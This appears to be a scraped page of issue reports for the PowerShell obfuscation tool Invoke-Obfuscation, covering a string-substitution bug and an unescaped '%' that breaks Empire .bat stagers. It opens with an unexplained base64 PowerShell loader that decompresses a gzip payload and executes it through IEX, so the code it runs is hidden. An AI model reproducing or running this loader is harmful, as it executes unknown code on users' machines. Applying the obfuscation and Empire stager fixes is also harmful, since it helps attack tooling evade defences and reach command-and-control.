JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAWABlADIALwBhAHkAaABMAC8ATwAzAHcASwA2AHkAaQBTAGIAWgBYAHcAVABrADUAYQBLAFYATABYAGcASABtAFUAVgB6AEEAWQBFAGcANQBDAGkAMwBjAHgARwA5AFoAZQBhAHEAOABEADkATABUAGYALwBZADYATgBhAGUAbABOAGUAbQA2AE8ASwBsADEATABsAHQAYQA3AE0ANwBNAHoAdgAzAG4AYQBvAHYATABLAGsAZwBGAHoAWgBGAGMAUQBxAGwAegBaAE4AQQBpAFoAOABKAFYAUwBKAG4ATgBaAEUAeQAyAHAAMwBDAGsAZgAxAGMAdwBxADgAaAAwAFoAYgA4AGUATABoAFUAdgBsAFkAaABzAEkAWgA0AEUASgBDAFcAZwBZAEsAbgA5AG4ATABnAFkANAB3AEoANgBpAFgAVAA3AGoAWQBPAEUASgBFAG4ARwBhAFYAWgBLAFAAbQBKAEMAUwBLAEsARAA2AHgAVQBYAG0ASQB0AG0ASwAvAEIAQwB2ADYATQBMAEgAawBqADMAVABoAFUAZgBsAFcAcABBAFEATAB0AEoAbQBhAEwAdQB0AEMAUQA4AHoAZgAvADcAaABRAHoAVQBLAEEAdQByAEwANAAzAGUAdQBRAFMAVQBLAFEAKwBvAHQATwBhAE8AaABwAGkAdABmAGwAYwBtAGEAQgB2AFMAcQB2ADMAeQBpAGoAbABUACsAVgBpADQAWAB1AFEAWQBYAFMAOAB4AFQAcwBrAE0AVgBPADIAcwB3AEMAUABrAGsAUAB1AHMASQBCADgAYwBXADUASwB3AHQAWgAxAEoAVAAvAC8AcABMADEAVwBkAFgAeABYAG0AdQAvAGoAbgBDAFAATgBSAFUANgB4AEIASwA2AHUAVQBJADUANgBxAHUAZgBOAFAAagBDADAAZQBIAEwAZABYAFUATABuAE0AQwBFAFkAcQBWAHoARQAyAFkAWAB5ADcAbAB4AG8AbgAyAHYAVQBUADUANwBsAEYAMwBWAGMAKwBBAGIAUQBHAFYAVQBlAEEAcgB2AHoAWQB4AGwAbgBuAGsAMABGAFIAWQBEAGcAQQBaAGQARQBSAFEAMQBYAE0AdAAvADEAbABzAHEASABiAHAAUgA1AHgAbgBsAFkALwBhAEwARgBWAG8ARwBQAG0AUwBlAFIAVABPAEoAUQAzAEUAMQBxAEwAQgBNADMATgBvAG0ARwB0AGkAbgAzAEEANgBwAEsAdQA1ADEAcQBPADcARQB3ADUAdgBaAGQATABPAG0AWQBCAHEASQBBAE0AOQBtADcAcgB2AEwAYgBwADMARQB4AGMAZgB4AGEAbgA2AFMAKwAzAFAANABrAEMASAA1ADAAVQBzADYASgBsAHYAbQBWAGUAaQBpAGwAQgBPAFgAUwB6AHAAUQBnAEwAMABaADIARwBWAHUAYgBpAFkASgBVAHMASwA5AG0AZwBEAEUAYgBLAEUANwAwADQAcABaAEoAVQB1AEsASQBHAGwAQwBBADcAdwBlAFQAawBLAEkAcQByAFAAbABWAG4AcwB1AHQAbAA4AG4AbAA1ADcANABnAHkAegB2AHgAUgBVAFAASABHAGwAUABFAGQAbgBIAHYAVwA0AFUAMgBhADIAWQBHAFMAZQB1AFUAagA4AG4ASgB6AEgAQgA0AHQAbAB4AEQAaQBoAFEAVQB6AHcANgA4AGkAdAAwAFIAWAB6AGEAZQAzAGcAWQA0ADgANQBwACsARABVAFgAbgBNAGEAWABYAEcAYQBBAEoASQA3AGsAZgBWAEEAVQBVADEATgBEAHkAaQBwAHAAZgBDAG8ATQBhAEsAegBsADIAeAAxAGoAOABuAHYAdgBNAFoAUgBPAGUAUwBBADQAMABQAFEAQwBtAEoAQwAvADEAbQBaAG8AeABNADEAdABlAFYAMwBxAFEAYwBBAEgAcgA5AFYAYwBOAFkASwBVAG8ASwBlAHEATgBNADAATwBKAHgAdQBqADcAKwBCAFMASwAxAHkASABJAFoAWgBaAFIAQgBCAFQAagBwAFoAeABhAEsAWQBVADUASgBWAGsAQgArAHkAOQBBAGgARgBVAGkAUgBMADkAWQBlADYAMwBZAGgATAA1AHUAQgBRAG4AcwBUAE4AOQBWAGMAZwBUAGEAKwB1AEMAagArAFUAUQBlAFMAQQBlAHcARwBHAGsAYgBXAGwARABzAE0AOABSAGkAVwByAE4AQgBtAGgAeABzAEYAaQA3AGsAawBGADkAVgBWAE0AcQBwAGgAegA1AHIAcwBnADYAUgBsADgAQQBqAHMAeABGAHAAYQBNAGcAeQBZAGcAMgBmADgATwBFAEQAMQBuAFUAZABuAHkAdABwAHgANgBRAEoAMQBVAEQASgBOAGoARgArAHAARABtAGwASgBKAHYARwBHAFgARQB2AFUAZgAxAEQANABsAHkAagBFAHIAWQBxAHgATwBJAEoAMABwAEQAUQBGAGcAYwBTAEcAegBpAHMAMABDAEMAVABWAEkAegBiADYASQB2AE4AOQBVADcAKwBlAFMAOQBKAE8AZQAxAFkAQwBtAG4AdABTAFMAVgBKAHcAWgBCAHgAawBuAFQARQBMAHAAeABKADMAZwA3AGoAdQBZAEMAWABTAEIAQgBOAGoATQBRAEgAZwBHAEQAdQBsAE4ASgBXADQAWgB2AHEAdgA5AGsAZQArAHoATgBvAEwAbgBvAGUAWAB6AEwAbQBsAHYAVwBMAEcAMQBnADcAYwBMADcANQBpAFYAVwA2AEwAMgBKAC8AbgBVAGYAbQByAG0AdQAwADQAMQBIAEQAVABNAFcAOABSADIANwBzADYANQA3AFMARgBuAHgAVwA3AE4AOQBoAFQAbwA3AGwAbQBoAGQAWQB0AEkAdABYAFAAZgBaAE8AYQB1AE8AZgB5AEUAaQBBAEYANwA3AGcATQByAHUAaQA0AGkAZwA2AGQAQgAzAGUAdgAwAFcAcQBGAFIAVABPAFUAYwArAFoAMQBLAHAAVABrAHQAbwBIAEsANQAwAGkAOABYAE4AbwBTADIAWQAvAG8ATgBJAGoAMgBQADcAZgBZAGQAVwBFAE4AdAA3AFgAYwBNADQAQwB1ADAAZQBMADEAZABIAFMANABuAEoAZgBOAHgAdwBwAHYANQBpAHIAbABlAFQAVQBSAG8AMwBWAFEAZQBDAFcANQBjAGMANABJAE0AUQBVAG8AOAB3AHYAWgBRAGoASgBxAE8AWgArAFQAegA5AGsAMAByAHQAcwByAG8ATABjAHYAYgA3AGIASwB4AFgAMwBlACsAMwBFAGYAZABLAGgASQBQAHAAZgBmAFMAYQBaAGcARgBQAEcAbQBIAGoANgBQAFEASABkAG0AOQA5AHQAQgBDAGwAYwA0AFQAKwByAE4AbABrAHUAMwBTAEcAegA2AFQAYwB0AGMAZAA4AFgAdQAzAFoAMQBYADIALwBZAE0AeABkAGoAeQArAGUAWgB4AGMARgB4AEkAWgB0AGQAQwAxAEoAdABmAGUAcwBtAGkAcwBTAGMATwBOAHUAdABZAEcAVABjAHoAMQB3ACsAKwArAHkATgB6AHMAOAAwAFUAeQB0AFkAdABrAGkARwB2AGIAQwBjAFcAcgBmAEoARgA2AG8AOQBpAEsAeQBaAGQAbQBlADIAeQBiAG4AMQBIAFIASABPAEoATwBhAEkAQgBkAG8AMwBGAGoAUABXAFcAUAArAFUAYgArAC8AYQBTADkAZQB5AGQAdgBKAHEATwBtAE4AZgBaAGMAMQBQADEAYwByAFkAOQA1ADIAeAByAGIANwBYAHYAYwBsADMAYgBuADYAVABsAGYAZgBQAEEAYgB1AEkAVwArAEkARgBSAHQAVgB4AHEAaQBQAG0ANgBJAGwAZQAyAHQAaQA4AFAAdABEAGYAQwBQAFQALwBkAE8AYwBMAFgAUQBhAEQAUgBqACsAaQBrAGkAZABYAGUAZgByADAAeABMAEIARgBuAHQAZAB6AFIAcwA0ADAAKwBCAFcAZQBIAGwAVwBKAGEAQgA2ACsAUAAxAEYASAB4AFoASABEAFgAegBkAGsAawAwAHgALwBiAGoAUABlADYAUQBhAFEAVQBCADcALwBJAFcAZABYAFkASQA5AFIAMQBTAE4ARgByACsAdwAwADEARgA3AFAAUAB2AFEAdgB1AG0ANABBAHQAMwBsAGMALwBuAEQAKwArAEwAZQBMAHcANwBnAEEAMwBpAHQAagBOAGgAOQBuAFAAZQB4AGgAdABEAEkATABBAEsATgBWAHkARQA2AGcAagBaAHAAZgBYAEQAMQBoAHgAdwBzAEcAMAAwAEwAdgBiAGIAMQAwAFUAaQBVAEIAWABPAHoAZAA0AEUARwA1ADgAbQBqAEgAYQBPAE8AbgBaAEwASABXAFAAWAByAEsAMABkAG8AMwBoAHQAUAA5AFYAdQBqAEQASgBjAGMATAB2AHYAagAxAHAAUgBkAC8AUQBBAFAAcQAxAEgAUABZAFQAdQAvAG8AQgBVAHUAcwBnAGsAbQBiAEcATQBWAHEAdABqAHYAZgA4AGYAagBiAGEATABnADMAQwBOAE8AZQBRAE0ATgBNAHQAVABwAFQATgBGAFkASwBZAHQAYgB5AEIAWQB6AEsARgBwAHIAdwA5AFUARwB4AHIANABsAE0ATwB3AEEAZQBQAEkAcQBUADQAZwB6AG8AVQBUAE4AKwBsAGYAZABFAHMAWQBHAFkANgBOAGYAQQA1ADEAYwBBAHoATABjAHUAbgBWAGwAYQA1ADgASgA5AFIALwBkAE8ANwBUADEAbwBjAFAAagAyAEIASQBXAG4AagBpAFEAcABEAHIAVQBOACsAVgA2ADIAeABoAFgAeQA0AFUAbwBOADAAVwA5AHAAVwBDAG4AbgBtADcALwBWAFcAeABQAFcAagBmAHAAVwBYAGoAagBuADAARwA1AGYAbABGAFAATABsAEkAegB4AHkAaABYAHMAcwAxADEAQwBqAHkAZgA4AFkANgByAFkAdgBKADEAZgA4AGUANgB4ADkANwAvADMARAA2AEoAdgB3AEwAMgBYAE8AUQBYAGgAegArAHYAUABGAHYAMwBQAEgANwBFAEUAMAB3AGsAOABCAHEAUQBmADMAbgA5AEQAagBCAHYAQgBXAHAATgBBAEQAUAA1AHMAVQB6AFQAMABPAEUAcgBkAEkAbgBIAHUALwA3AGsAYgB6AHEAdwBUAFMAWgBVAFQAOQBtAE0AcQAyAFYAYwBvAFoAUQB5AEwANwBBAFkARQA4AC8ASwA3AGQANgBQAEMATwBHAEUAZwBmAHkANgBrAGsAcwA0AFMAOABnAGEAWgBYAGEASgBkAGEAVgBWAG4AMgBxAFgARwBMAGwAbQAzAEkARgBvAEsAQwB3AFgASQBKAGYAZwBjAEMATgA0AHIANgBwAEgAUAA5AHMAdgBpAG8ANwBNAEMAVgBoAC8ASwBvAE0AcQBVAE4AaAAzAEwAMQBxAGkAeQBYADAAUQB3AHIAagBUAHkAdwA2AEUAUgBJAFQAdwA5ADUALwBBAEEATQBIAHAAcQBFAHEARABRAEEAQQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==

String Token obfuscation breaks multiline string variable substitution

If you apply any of the string obfuscations on a multiline string with a variable substitution, the variable will be treated as a normal part of the string and thus won't be substituted.

Example script:

$script = "hello"

$ps = @"
$script
"@

Write-Output $ps;

After applying the Token\String\2 obfuscation on it:

$script = ("{1}{0}" -f 'o','hell')

$ps = ((('Cd'+'H
'+'
TR'+'Cs'+'cri'+'pt
CdH') -RePLACE ([ChaR]84+[ChaR]82+[ChaR]67),[ChaR]36 -RePLACE 'CdH',[ChaR]34))

Write-Output $ps;

Calling the obfuscated script results in this being printed:

"
$script
"

instead of hello.

As far as I know there is currently no way to obfuscate this script correctly, without just abandoning the script obfuscation entirely. I'm using version 1.8, by the way.

Launcher Not Escaping % for .bat Files

Hello, I've been troubleshooting an issue with Powershell Empire that uses Invoke-Obfuscation.

(EmpireProject/Empire#869)

When Obfuscating the stager windows\launcher_bat using command 'Token\All\1,Launcher\STDIN++\12467' the agent doesnt connect. After troubleshooting a bit, I found that the outputted stager code while obfuscated is not escaping the % character with another % as needed for .bat files. When I place another % next to any %'s in the code and run it as a .bat, it works properly.

I believe the issue resides in Out-PowerShellLauncher.ps1 as I can see other characters being escaped but not % however I am unsure.

Let me know what you think and I'd be glad to assist where I can if you can point me in the right direction. Thanks!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.